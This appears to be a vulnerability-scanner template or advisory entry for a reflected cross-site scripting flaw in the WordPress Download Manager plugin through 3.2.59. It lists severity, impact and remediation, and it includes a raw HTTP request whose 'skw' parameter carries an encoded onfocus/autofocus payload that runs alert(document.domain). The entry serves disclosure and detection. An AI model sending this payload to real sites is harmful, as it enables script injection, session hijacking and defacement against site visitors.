| Title | WordPress Download Manager <= 3.2.59 - Reflected XSS |
|---|---|
| Author | Shivam Kamboj |
| Severity | High |
| Impact | Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement. |
| Remediation | Update to the latest version of the plugin where the vulnerability is fixed. |
| Tags | cve cve2022 wordpress wp-plugin xss download-manager wpdm wp |
W3 Eden, Inc. Download Manager plugin <= 3.2.59 contains a reflected cross-site scripting caused by insufficient input sanitization, letting attackers execute scripts in the context of the victim’s browser, exploit requires attacker to craft a malicious link.
GET /?skw=%22%20onfocus%3D%22alert%28document.domain%29%22%20autofocus%3D%22 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
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